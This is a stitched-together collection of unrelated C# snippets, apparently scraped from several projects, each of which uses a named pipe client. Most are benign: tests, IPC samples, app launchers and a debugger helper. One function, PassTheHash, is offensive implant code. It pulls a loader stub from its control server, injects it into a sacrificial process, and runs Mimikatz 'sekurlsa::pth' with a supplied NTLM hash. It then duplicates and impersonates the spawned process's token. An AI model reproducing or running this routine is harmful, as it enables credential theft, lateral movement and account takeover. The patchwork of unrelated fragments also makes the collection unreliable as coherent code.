private int run(IEnumerable <string> args) { const string skylineAppName = "Skyline"; // Not L10N string[] possibleSkylinePaths = ListPossibleSkylineShortcutPaths(skylineAppName); string skylinePath = possibleSkylinePaths.FirstOrDefault(File.Exists); if (null == skylinePath) { Console.WriteLine(Resources.Program_Program_Error__Unable_to_find_Skyline_program_at_any_of_the_following_locations_); foreach (var path in possibleSkylinePaths) { Console.WriteLine(path); } return(1); } string guidSuffix = string.Format("-{0}", Guid.NewGuid()); // Not L10N var psiExporter = new ProcessStartInfo(@"cmd.exe") // Not L10N { CreateNoWindow = true, UseShellExecute = false, Arguments = String.Format("/c \"{0}\" CMD{1}", skylinePath, guidSuffix) // Not L10N }; Process.Start(psiExporter); string inPipeName = "SkylineInputPipe" + guidSuffix; // Not L10N using (var serverStream = new NamedPipeServerStream(inPipeName)) { if (!WaitForConnection(serverStream, inPipeName)) { Console.WriteLine(Resources.Program_Program_Error__Could_not_connect_to_Skyline_); Console.WriteLine(Resources.Program_Program_Make_sure_you_have_a_valid__0__installation_, skylineAppName); return(1); } using (StreamWriter sw = new StreamWriter(serverStream)) { // Send the directory of SkylineRunner to Skyline sw.WriteLine("--dir=" + Directory.GetCurrentDirectory()); // Not L10N foreach (string arg in args) { sw.WriteLine(arg); } } } using (var pipeStream = new NamedPipeClientStream("SkylineOutputPipe" + guidSuffix)) // Not L10N { // The connect function will wait 5s for the pipe to become available // If that is not acceptable specify a maximum waiting time (in ms) try { pipeStream.Connect(5 * 1000); } catch (Exception e) { Console.WriteLine(Resources.Program_Program_Error__Could_not_connect_to_Skyline_); Console.Write(e.Message); return(1); } using (StreamReader sr = new StreamReader(pipeStream)) { string line; //While (!done reading) while ((line = sr.ReadLine()) != null) { Console.WriteLine(line); } } } return(0); }
public void Connect() { _client.Connect(); }
static void Main(string[] args) { MapFile mf = new MapFile("../../../../Release/MyOS_1.map"); mf.ParseFile(); //return; while (true) { using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "MyOS_PIPE", PipeDirection.InOut)) { // Connect to the pipe or wait until the pipe is available. Console.Write("Attempting to connect to pipe..."); pipeClient.Connect(); Console.WriteLine("Connected to pipe."); Console.WriteLine("There are currently {0} pipe server instances open.", pipeClient.NumberOfServerInstances); using (StreamReader sr = new StreamReader(pipeClient)) { // Display the read text to the console string temp; bool awaitingModuleName = false; bool canMap = false; while ((temp = sr.ReadLine()) != null) { // If we see "Hello world!" we know the kernel restarted, and we should reload all map files if (temp.Contains("Hello world!")) { Console.WriteLine("Reloading map files"); mf.ParseFile(); awaitingModuleName = false; continue; } if (temp == "Stack trace:") { awaitingModuleName = true; continue; } if (awaitingModuleName) { awaitingModuleName = false; // module name will be stored in temp if (temp == "KERNEL PROCESS") { System.Console.WriteLine(temp); System.Console.WriteLine("Using map file " + mf.filename + "\n"); canMap = true; continue; } else { System.Console.WriteLine("Don't know where to find map file for " + temp); canMap = false; } } if (temp.Contains("0x") && canMap) { Console.WriteLine(mf.FindFunction(temp)); } else { // if address was in kernel space if (temp.Contains("0x") && Convert.ToUInt32(temp, 16) >= 0xC0000000) { Console.WriteLine(mf.FindFunction(temp)); } else { Console.WriteLine("{0}", temp); } } } } } Console.Write("\nPipe closed, Reopening..."); } //Console.ReadLine(); }
void AppStartup(object sender, StartupEventArgs e) { try { if (!mutex.WaitOne(0, false)) { NamedPipeClientStream client = new NamedPipeClientStream(identifier); try { client.Connect(250); } catch (Exception) { } Environment.Exit(0); } GC.KeepAlive(mutex); NewPipe(); } catch (Exception) { //Prevents crash if mutex is abandoned return; } finally { WebRequest.DefaultWebProxy = null; if (Platform.ReadSetting("newVersion") == true) { Platform.UpgradeSettings(); Platform.WriteSetting("newVersion", false); Platform.SaveSettings(); } string username = Platform.ReadSetting("bridgeUserName"); if (Platform.ReadSetting("bridgeIP") != "0.0.0.0" && !username.Contains("albedo")) { Storage.InitializeData(); } else { if (username.Contains("albedo")) //Usernames must be auto-generated by the end of 2015 { System.Windows.MessageBox.Show("Due to a software update that changes the way apps pair with the bridge, Albedo will need to re-run the pairing wizard.\nSorry for the inconvenience."); } WindowStorage.setupStorage = new SetupWindow(); WindowStorage.setupStorage.Show(); } //Set default accent dynamic tileColor = Storage.tileColors(0); SolidColorBrush newHighlight, newAccent, newAccent2, newAccent3, newAccent4; newHighlight = new BrushConverter().ConvertFromString(tileColor.border); newAccent = new BrushConverter().ConvertFromString(tileColor.border); newAccent2 = new BrushConverter().ConvertFromString(tileColor.border); newAccent3 = new BrushConverter().ConvertFromString(tileColor.border); newAccent4 = new BrushConverter().ConvertFromString(tileColor.border); System.Windows.Application.Current.Resources["HighlightColor"] = newHighlight; newAccent.Opacity = 0.75; System.Windows.Application.Current.Resources["AccentColorBrush"] = newAccent; System.Windows.Application.Current.Resources["WindowTitleColorBrush"] = newAccent; System.Windows.Application.Current.Resources["CheckmarkFill"] = newAccent; System.Windows.Application.Current.Resources["RightArrowFill"] = newAccent; newAccent2.Opacity = 0.60; System.Windows.Application.Current.Resources["AccentColorBrush2"] = newAccent2; newAccent3.Opacity = 0.40; System.Windows.Application.Current.Resources["AccentColorBrush3"] = newAccent3; newAccent4.Opacity = 0.20; System.Windows.Application.Current.Resources["AccentColorBrush4"] = newAccent4; } }
public static void ClientConnectWrongConflictingDirection() { const string serverName1 = "testServer4"; using (NamedPipeServerStream server = new NamedPipeServerStream(serverName1, PipeDirection.Out)) using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName1, PipeDirection.Out)) { Assert.Throws<UnauthorizedAccessException>(() => client.Connect()); Assert.False(client.IsConnected); } const string serverName2 = "testServer5"; using (NamedPipeServerStream server = new NamedPipeServerStream(serverName2, PipeDirection.In)) using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName2, PipeDirection.In)) { Assert.Throws<UnauthorizedAccessException>(() => client.Connect()); Assert.False(client.IsConnected); } }
public static void SendObject() { NamedPipeClientStream pipeClient = null; try { bool requestResend = true; while (requestResend) { // ---------------------------------------------------------------------------------------------------------------- // Try to open the named pipe identified by the pipe name. pipeClient = new NamedPipeClientStream( Program.ServerName, // The server name Program.PipeName, // The unique pipe name PipeDirection.InOut, // The pipe is duplex PipeOptions.None // No additional parameters ); pipeClient.Connect(5000); Console.WriteLine("[IPC Client Connected] - Pipe Name: \"{0}\"", Program.FullPipeName); pipeClient.ReadMode = PipeTransmissionMode.Message; // ---------------------------------------------------------------------------------------------------------------- // Send our request to server string message = ""; Order order = new Order() { Address = "Los Angeles, CA", CustomerName = "John Smith", ProductName = "Visual Studio 2017", Quantity = 1 }; message = "PROCESS_ORDER|:|" + JsonConvert.SerializeObject(order); byte[] bRequest = Encoding.UTF8.GetBytes(message); int cbRequest = bRequest.Length; pipeClient.Write(bRequest, 0, cbRequest); pipeClient.WaitForPipeDrain(); Console.WriteLine("[IPC Client Sent {0} bytes] Message: {1}", cbRequest, message); // ---------------------------------------------------------------------------------------------------------------- // Receive acknowledgement from server. string msg = ""; var reader = new StreamReader(pipeClient); msg = reader.ReadToEnd(); byte[] tmp = Encoding.UTF8.GetBytes(msg); string tmpStr = Encoding.UTF8.GetString(tmp).Replace("\0", ""); Console.WriteLine("[IPC Client Received {0} bytes] Message: {1}", tmp.Length, tmpStr); if (tmpStr == "MSG_RECEIVED") { requestResend = false; } } // ---------------------------------------------------------------------------------------------------------------- // Close the pipe pipeClient.Close(); } catch (Exception ex) { Console.WriteLine("[IPC Client ERROR] - {0}", ex.Message); } finally { // Close the pipe. if (pipeClient != null) { pipeClient.Close(); pipeClient = null; } } }
[PlatformSpecific(PlatformID.Windows)] // Unix currently doesn't support message mode public async Task Windows_MessagePipeTransissionMode(PipeOptions serverOptions) { byte[] msg1 = new byte[] { 5, 7, 9, 10 }; byte[] msg2 = new byte[] { 2, 4 }; byte[] received1 = new byte[] { 0, 0, 0, 0 }; byte[] received2 = new byte[] { 0, 0 }; byte[] received3 = new byte[] { 0, 0, 0, 0 }; byte[] received4 = new byte[] { 0, 0, 0, 0 }; byte[] received5 = new byte[] { 0, 0 }; byte[] received6 = new byte[] { 0, 0, 0, 0 }; string pipeName = GetUniquePipeName(); using (var server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Message, serverOptions)) { using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation)) { server.ReadMode = PipeTransmissionMode.Message; Assert.Equal(PipeTransmissionMode.Message, server.ReadMode); Task clientTask = Task.Run(() => { client.Connect(); client.Write(msg1, 0, msg1.Length); client.Write(msg2, 0, msg2.Length); client.Write(msg1, 0, msg1.Length); client.Write(msg1, 0, msg1.Length); client.Write(msg2, 0, msg2.Length); client.Write(msg1, 0, msg1.Length); int serverCount = client.NumberOfServerInstances; Assert.Equal(1, serverCount); }); server.WaitForConnection(); int len1 = server.Read(received1, 0, msg1.Length); Assert.True(server.IsMessageComplete); Assert.Equal(msg1.Length, len1); Assert.Equal(msg1, received1); int len2 = server.Read(received2, 0, msg2.Length); Assert.True(server.IsMessageComplete); Assert.Equal(msg2.Length, len2); Assert.Equal(msg2, received2); int expectedRead = msg1.Length - 1; int len3 = server.Read(received3, 0, expectedRead); // read one less than message Assert.False(server.IsMessageComplete); Assert.Equal(expectedRead, len3); for (int i = 0; i < expectedRead; ++i) { Assert.Equal(msg1[i], received3[i]); } expectedRead = msg1.Length - expectedRead; Assert.Equal(expectedRead, server.Read(received3, len3, expectedRead)); Assert.True(server.IsMessageComplete); Assert.Equal(msg1, received3); Assert.Equal(msg1.Length, await server.ReadAsync(received4, 0, msg1.Length)); Assert.True(server.IsMessageComplete); Assert.Equal(msg1, received4); Assert.Equal(msg2.Length, await server.ReadAsync(received5, 0, msg2.Length)); Assert.True(server.IsMessageComplete); Assert.Equal(msg2, received5); expectedRead = msg1.Length - 1; Assert.Equal(expectedRead, await server.ReadAsync(received6, 0, expectedRead)); // read one less than message Assert.False(server.IsMessageComplete); for (int i = 0; i < expectedRead; ++i) { Assert.Equal(msg1[i], received6[i]); } expectedRead = msg1.Length - expectedRead; Assert.Equal(expectedRead, await server.ReadAsync(received6, msg1.Length - expectedRead, expectedRead)); Assert.True(server.IsMessageComplete); Assert.Equal(msg1, received6); await clientTask; } } }
public async Task OneWayReadWrites(PipeOptions serverOptions, PipeOptions clientOptions, bool asyncServerOps, bool asyncClientOps) { using (NamedPipePair pair = CreateNamedPipePair(serverOptions, clientOptions)) { NamedPipeClientStream client = pair.clientStream; NamedPipeServerStream server = pair.serverStream; byte[] received = new byte[] { 0 }; Task clientTask = Task.Run(async() => { if (asyncClientOps) { await client.ConnectAsync(); if (pair.writeToServer) { received = await ReadBytesAsync(client, sendBytes.Length); } else { await WriteBytesAsync(client, sendBytes); } } else { client.Connect(); if (pair.writeToServer) { received = ReadBytes(client, sendBytes.Length); } else { WriteBytes(client, sendBytes); } } }); if (asyncServerOps) { await server.WaitForConnectionAsync(); if (pair.writeToServer) { await WriteBytesAsync(server, sendBytes); } else { received = await ReadBytesAsync(server, sendBytes.Length); } } else { server.WaitForConnection(); if (pair.writeToServer) { WriteBytes(server, sendBytes); } else { received = ReadBytes(server, sendBytes.Length); } } await clientTask; Assert.Equal(sendBytes, received); server.Disconnect(); Assert.False(server.IsConnected); } }
public void Sync <o>(string Channel, o Data) { //Check o type IsSerializable Type ObjectType = typeof(o); bool IsHaveDataContract = Attribute.IsDefined(ObjectType, typeof(DataContractAttribute)); if (!IsHaveDataContract && !ObjectType.IsSerializable) { throw new ArgumentException("'" + ObjectType.Name + "' is not serializable type"); } //Store Data MessagePackSerializer <NPData <o> > Serializer = SerializationContext.Default.GetSerializer <NPData <o> >(); NPData <o> RawData = new NPData <o>() { VerifyMessage = VerifyMessage, Channel = Channel, Data = Data }; byte[] ByteData = Serializer.PackSingleObject(RawData); if (SyncData.ContainsKey(Channel)) { SyncData[Channel] = ByteData; } else { SyncData.Add(Channel, ByteData); } //Send to all subscriber if (Subscriber.ContainsKey(Channel)) { List <string[]> Subscriber = this.Subscriber[Channel]; //MemoryStream StreamData = new MemoryStream(ByteData); byte[] data = SyncData[Channel]; //pipeClient.Write(data, 0, data.Length); List <string[]> Remove = new List <string[]>(); foreach (string[] sub in Subscriber) { using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(sub[0], string.Format("{0}.{1}.{2}", PipeName, sub[1], Channel), PipeDirection.Out, PipeOptions.Asynchronous)) { try { pipeClient.Connect(500); pipeClient.Write(data, 0, data.Length); if (pipeClient.IsConnected) { pipeClient.Close(); } } catch { if (pipeClient.IsConnected) { pipeClient.Close(); } Remove.Add(sub); } pipeClient.Dispose(); } } foreach (string[] sub in Remove) { Subscriber.Remove(sub); } this.Subscriber[Channel] = Subscriber; } }
public bool startPipe() { ///////////////////////////////////////////////////////////////////// // Try to open a named pipe. // // Prepare the pipe name strServerName = "."; try { pipeClient = new NamedPipeClientStream( strServerName, // The server name strPipeName, // The unique pipe name PipeDirection.InOut, // The pipe is bi-directional PipeOptions.None, // No additional parameters //The server process cannot obtain identification information about //the client, and it cannot impersonate the client. TokenImpersonationLevel.Anonymous); pipeClient.Connect(ProjectConstants.WIIMOTE_PIPE_TIMEOUT); // set TimeOut for connection : Original value 60000 pipeClient.ReadMode = PipeTransmissionMode.Message; Console.WriteLine(@"The named pipe, \\{0}\{1}, is connected.", strServerName, strPipeName); /* * wiimoteDataClient = new NamedPipeClientStream( * strServerName, // The server name * strWiimoteDataPipeName, // The unique pipe name * PipeDirection.InOut, // The pipe is bi-directional * PipeOptions.None, // No additional parameters * * //The server process cannot obtain identification information about * //the client, and it cannot impersonate the client. * TokenImpersonationLevel.Anonymous); * * wiimoteDataClient.Connect(ProjectConstants.WIIMOTE_PIPE_TIMEOUT); // set TimeOut for connection : Original value 60000 * wiimoteDataClient.ReadMode = PipeTransmissionMode.Message; * * Console.WriteLine(@"The named pipe, \\{0}\{1}, is connected.", * strServerName, strWiimoteDataPipeName); * * Thread t = new Thread(new ThreadStart(listenWiimoteDataCommands)); * t.Start(); * */ } catch (TimeoutException ex) { Console.WriteLine("Unable to open named pipe {0}\\{1}", strServerName, strPipeName); Console.WriteLine(ex.Message); throw new PipeCommunicationException(ex); } catch (Exception ex) { Console.WriteLine("The client throws the error: {0}", ex.Message); throw new PipeCommunicationException(ex); } return(true); }
public NPServer(string PipeName, string VerifyMessage) { this.PipeName = PipeName; this.VerifyMessage = VerifyMessage; Subscriber = new Dictionary <string, List <string[]> >(); SyncData = new Dictionary <string, byte[]>(); Command = new Dictionary <string, dynamic>(); Command.Add("Subscribe", new NPCommand <bool>(args => { string MachineName = NPConvertor.ToString(args[0]); string Channel = NPConvertor.ToString(args[1]); string UniqueId = NPConvertor.ToString(args[2]); if (Subscriber.ContainsKey(Channel)) { List <string[]> OldClient = Subscriber[Channel]; if (OldClient.Count(c => c[1] == UniqueId) == 0) { OldClient.Add(new string[] { MachineName, UniqueId }); Subscriber[Channel] = OldClient; } } else { List <string[]> FirstSubscribe = new List <string[]>() { new string[] { MachineName, UniqueId } }; Subscriber.Add(Channel, FirstSubscribe); } if (SyncData.ContainsKey(Channel)) { using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(MachineName, string.Format("{0}.{1}.{2}", PipeName, UniqueId, Channel), PipeDirection.Out, PipeOptions.Asynchronous)) { try { pipeClient.Connect(500); byte[] data = SyncData[Channel]; pipeClient.Write(data, 0, data.Length); if (pipeClient.IsConnected) { pipeClient.Close(); } } catch (Exception Ex) { if (pipeClient.IsConnected) { pipeClient.Close(); } } pipeClient.Dispose(); } } return(SyncData.ContainsKey(Channel)); })); RunningToken = null; IsRunning = false; }
static void Main(string[] args) { // RUN APPLICATION AS SINGLETON: bool createdNew = true; using (Mutex mutex = new Mutex(true, "NZBDriveApplicationMutex", out createdNew)) { if (createdNew) { MainWindow window = new MainWindow(args); // VERSION CHECK: Version curVersion = System.Reflection.Assembly.GetExecutingAssembly().GetName().Version; window.CurrentVersion = curVersion; if (window.LatestVersionCheckDate == null) { window.LatestVersionCheckDate = DateTime.MinValue; } double timeSinceLastVersionCheck = DateTime.Now.ToOADate() - window.LatestVersionCheckDate.ToOADate(); if (timeSinceLastVersionCheck > 7) { Task.Factory.StartNew(() => { try { WebClient client = new WebClient(); string url = "http://www.nzbdrive.com/version?v=" + curVersion.ToString(); if (window.LicenseKey.Length > 0) { url += "&k=" + GetMD5Hash(window.LicenseKey); } string newVersionTxt = client.DownloadString(url); window.LatestVersion = new Version(newVersionTxt); window.LatestVersionCheckDate = DateTime.Now; } catch (Exception) { } }); } App app = new App(); app.Run(window); } else { using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "NZBDriveApplicationPipe", PipeDirection.Out)) { pipeClient.Connect(); using (StreamWriter sr = new StreamWriter(pipeClient)) { foreach (string arg in args) { sr.WriteLine(arg); } } } } } Environment.Exit(1); }
/// <inheritdoc/> public void Dispose() { lock (syncLock) { if (disposing) { return; } disposing = true; for (int i = 0; i < pipes.Length; i++) { if (pipes[i] != null) { pipes[i].Dispose(); pipes[i] = null; } } // $hack(jefflill): // // The [NamedPipeStream.WaitForConnection()] doesn't throw an exception // when the underlying pipe id disposed. I was hoping to catch an // [ObjectDisposedException] in the server threads as the signal for // the thread to exit. // // The simple alternative is to establish a (fake) client connection // for each thread. } // $hack(jefflill): // // The [NamedPipeStream.WaitForConnection()] doesn't throw an exception // when the underlying pipe is disposed. I was hoping to catch an // [ObjectDisposedException] in the server threads as the signal for // the thread to exit. // // The simple alternative is to establish a (fake) client connection // for each thread. This will cause the [NamedPipeServerStream.WaitForConnection()] // to return in the thread method instances which will use [disposing] to know when // to exit. for (int i = 0; i < threads.Length; i++) { using (var clientPipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut)) { try { clientPipe.Connect(100); } catch { // Ignoring these } } } // Wait for the threads to terminate. foreach (var thread in threads) { thread.Join(); } threads = null; }
static void Main(string[] args) { //Call the service and print it status var service = new ServiceController("CalculService"); Console.WriteLine("[?] Calcul Service Status : {0}...\n", service.Status); //Define the pipe rules PipeSecurity ps = new PipeSecurity(); //Replace "Everyone" by "Tout le monde" for french windows versions. PipeAccessRule psRule = new PipeAccessRule(@"Everyone", PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow); ps.AddAccessRule(psRule); using (NamedPipeServerStream pipeResponse = new NamedPipeServerStream("responsePipe", PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 1, 1, ps)) using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "datapipe", PipeDirection.InOut)) { Console.Write("[+] Your operation (+ - * /) : "); string op = Console.ReadLine(); Console.Write("[+] First operand : "); string nb1 = Console.ReadLine(); Console.Write("[+] Second operand : "); string nb2 = Console.ReadLine(); Int32 opCode; switch (op[0]) { case '+': { opCode = (Int32)Commandes.Add; break; } case '-': { opCode = (Int32)Commandes.Sub; break; } case '*': { opCode = (Int32)Commandes.Mul; break; } case '/': { opCode = (Int32)Commandes.Div; break; } default: { opCode = (Int32)Commandes.Else; break; } } //Send the command to execute service.ExecuteCommand(opCode); //Try to connect to the service pipe Console.WriteLine("\n[?] Attempting to connect to pipe..."); pipeClient.Connect(); Console.WriteLine("[+] Connected to pipe."); Console.WriteLine("[+] There are currently {0} pipe server instances open.\n", pipeClient.NumberOfServerInstances); //Send the data (in a format recognized by the service) using (StreamWriter sw = new StreamWriter(pipeClient)) { sw.AutoFlush = true; sw.WriteLine(nb1 + " " + nb2); } //Wait for the service response pipeResponse.WaitForConnection(); using (StreamReader sr = new StreamReader(pipeResponse)) { string temp; while ((temp = sr.ReadLine()) != null) { if (temp.Equals("[-] Error !")) { Console.WriteLine("[-] Unexpected error.\n"); } else { Console.WriteLine("[+] Response == " + temp + "\n"); } } } } Console.Write("[!] Press any key to continue..."); Console.ReadLine(); }
public void InvalidConnectTimeout_Throws_ArgumentOutOfRangeException() { using (NamedPipeClientStream client = new NamedPipeClientStream("client1")) { AssertExtensions.Throws <ArgumentOutOfRangeException>("timeout", () => client.Connect(-111)); AssertExtensions.Throws <ArgumentOutOfRangeException>("timeout", () => { client.ConnectAsync(-111); }); } }
public static void PassTheHash(Job job, Agent implant) { Task task = job.Task; PassTheHashParameters taskParams; string sacrificialApplication; string commandLine = ""; string command = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\""; string loaderStubID; string pipeName; int pidOfPTHProccess = -1; JObject json; List <string> output = new List <string>(); MythicCredential cred; try { taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } cred = taskParams.credential; if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential)) { job.SetError("Username and password are required for pth."); return; } if (cred.credential_type != "hash") { job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}"); return; } string userFQDN = cred.account; if (string.IsNullOrEmpty(cred.realm)) { job.SetError("pth requires a valid realm or domain to be set."); return; } command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program }); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id)); return; } pipeName = taskParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { if (line.Contains(" PID ")) { string[] parts = line.Trim().Split(' '); if (parts.Length != 5) { job.SetError($"No PID could be enumerated from the line: {line}"); break; } else { if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess)) { job.SetError($"Failed to parse PID from: {parts[1].Trim()}"); break; } } } output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.AddOutput(output.ToArray()); output.Clear(); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } if (pidOfPTHProccess != -1) { IntPtr procHandle; IntPtr hStolenToken; try { procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle; } catch (Exception ex) { throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}"); } // Stores the handle for the original process token hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token // Get handle to target process token bool bRet = OpenProcessToken( procHandle, // ProcessHandle (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess out IntPtr tokenHandle); // TokenHandle if (!bRet) { throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}"); //return; }// Check if OpenProcessToken was successful if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle)) { throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}"); } // Duplicate token as stolenHandle bRet = DuplicateTokenEx( tokenHandle, // hExistingToken TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess IntPtr.Zero, // lpTokenAttributes TokenImpersonationLevel.Impersonation, // ImpersonationLevel TOKEN_TYPE.TokenImpersonation, // TokenType out hStolenToken); // phNewToken // end testing if (!bRet) // Check if DuplicateTokenEx was successful { throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}"); } ////bRet = ImpersonateLoggedOnUser(tokenHandle); //if (!bRet) //{ // task.status = "error"; // task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}"; //} //CloseHandle(tokenHandle); //CloseHandle(procHandle); if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken)) { throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}"); } else { WindowsIdentity ident = new WindowsIdentity(hStolenToken); job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!"); ident.Dispose(); } } else { job.SetError("Failed to acquire PID of PTH process."); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
[PlatformSpecific(TestPlatforms.Windows)] // Unix currently doesn't support message mode public void Windows_MessagePipeTransmissionMode(PipeOptions serverOptions) { byte[] msg1 = new byte[] { 5, 7, 9, 10 }; byte[] msg2 = new byte[] { 2, 4 }; byte[] received1 = new byte[] { 0, 0, 0, 0 }; byte[] received2 = new byte[] { 0, 0 }; byte[] received3 = new byte[] { 0, 0, 0, 0 }; byte[] received4 = new byte[] { 0, 0, 0, 0 }; byte[] received5 = new byte[] { 0, 0 }; byte[] received6 = new byte[] { 0, 0, 0, 0 }; string pipeName = PipeStreamConformanceTests.GetUniquePipeName(); using (var server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Message, serverOptions)) { using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation)) { server.ReadMode = PipeTransmissionMode.Message; Assert.Equal(PipeTransmissionMode.Message, server.ReadMode); client.Connect(); Task clientTask = Task.Run(() => { client.Write(msg1, 0, msg1.Length); client.Write(msg2, 0, msg2.Length); client.Write(msg1, 0, msg1.Length); client.Write(msg1, 0, msg1.Length); client.Write(msg2, 0, msg2.Length); client.Write(msg1, 0, msg1.Length); int serverCount = client.NumberOfServerInstances; Assert.Equal(1, serverCount); }); Task serverTask = Task.Run(async() => { server.WaitForConnection(); int len1 = server.Read(received1, 0, msg1.Length); Assert.True(server.IsMessageComplete); Assert.Equal(msg1.Length, len1); Assert.Equal(msg1, received1); int len2 = server.Read(received2, 0, msg2.Length); Assert.True(server.IsMessageComplete); Assert.Equal(msg2.Length, len2); Assert.Equal(msg2, received2); int expectedRead = msg1.Length - 1; int len3 = server.Read(received3, 0, expectedRead); // read one less than message Assert.False(server.IsMessageComplete); Assert.Equal(expectedRead, len3); for (int i = 0; i < expectedRead; ++i) { Assert.Equal(msg1[i], received3[i]); } expectedRead = msg1.Length - expectedRead; Assert.Equal(expectedRead, server.Read(received3, len3, expectedRead)); Assert.True(server.IsMessageComplete); Assert.Equal(msg1, received3); Assert.Equal(msg1.Length, await server.ReadAsync(received4, 0, msg1.Length)); Assert.True(server.IsMessageComplete); Assert.Equal(msg1, received4); Assert.Equal(msg2.Length, await server.ReadAsync(received5, 0, msg2.Length)); Assert.True(server.IsMessageComplete); Assert.Equal(msg2, received5); expectedRead = msg1.Length - 1; Assert.Equal(expectedRead, await server.ReadAsync(received6, 0, expectedRead)); // read one less than message Assert.False(server.IsMessageComplete); for (int i = 0; i < expectedRead; ++i) { Assert.Equal(msg1[i], received6[i]); } expectedRead = msg1.Length - expectedRead; Assert.Equal(expectedRead, await server.ReadAsync(received6, msg1.Length - expectedRead, expectedRead)); Assert.True(server.IsMessageComplete); Assert.Equal(msg1, received6); }); Assert.True(Task.WaitAll(new[] { clientTask, serverTask }, TimeSpan.FromSeconds(15))); } } }
